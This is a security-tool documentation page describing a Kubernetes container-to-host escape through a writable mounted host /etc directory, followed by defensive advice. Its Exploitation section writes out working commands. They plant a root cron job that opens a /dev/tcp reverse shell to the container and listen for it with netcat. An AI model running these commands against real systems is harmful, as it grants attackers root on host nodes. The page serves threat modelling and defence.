Skip to content

EXPLOIT_HOST_WRITE

Source Destination MITRE
Container Node Escape to Host, T1611

Exploit an arbitrary write from a sensitive host path mounted into the container to gain execution on the host.

Details

If a sensitive host directory is mounted in a container with write permissions there are a huge variety of techniques to achieve execution within a container. Given the array of techniques available we choose to assume that any writeable mount in a container is exploitable unless it corresponds to an entry in the "known-good" list of mounts. For illustration purposes we will consider an escape to host via creating a cron job to launch a reverse shell as the host's superuser if the host /etc directory is mounted with write permissions.

Prerequisites

Execution within a container with a sensitive host directory mounted with write permissions.

See the example pod spec.

Checks

Check for interesting mounted volumes in the container as decribed in VOLUME_DISCOVER

Exploitation

Assuming the /etc/cron.d directory or any parent is mounted with write access, we can achieve execution on the host as follows. First, resolve the container ip address:

CONTAINER_ADDRESS=$(ifconfig eth0  | grep inet | cut -d: -f2 | awk '{ print $2}')

Then, create a cronjob to trigger a reverse shell connection from the host to our container:

echo -n "* * * * * root /bin/bash -c '/bin/bash -c echo \"\"; echo \"hello from host! " > /host-etc/cron.d/breakout
echo -n "$" >> /host-etc/cron.d/breakout
echo -n "(hostname) " >> /host-etc/cron.d/breakout
echo -n "$" >> /host-etc/cron.d/breakout
echo "(id)\" >& /dev/tcp/${CONTAINER_ADDRESS}/1337 0>&1'" >> /host-etc/cron.d/breakout
netcat -l -p 1337 2>&1

Defences

Monitoring

  • Leverage cloud workload security solutions to monitor for malicious activity on the host

Implement security policies

Use a pod security policy or admission controller to prevent or limit the creation of pods with a hostPath mount of / or other sensitive locations.

Least Privilege

Avoid running containers as the root user. Enforce running as an unprivileged user account using the runAsNonRoot setting inside securityContext (or explicitly setting runAsUser to an unprivileged user). Additionally, ensure that allowPrivilegeEscalation: false is set in securityContext to prevent a container running as an unprivileged user from being able to escalate to running as the root user.

Calculation

References: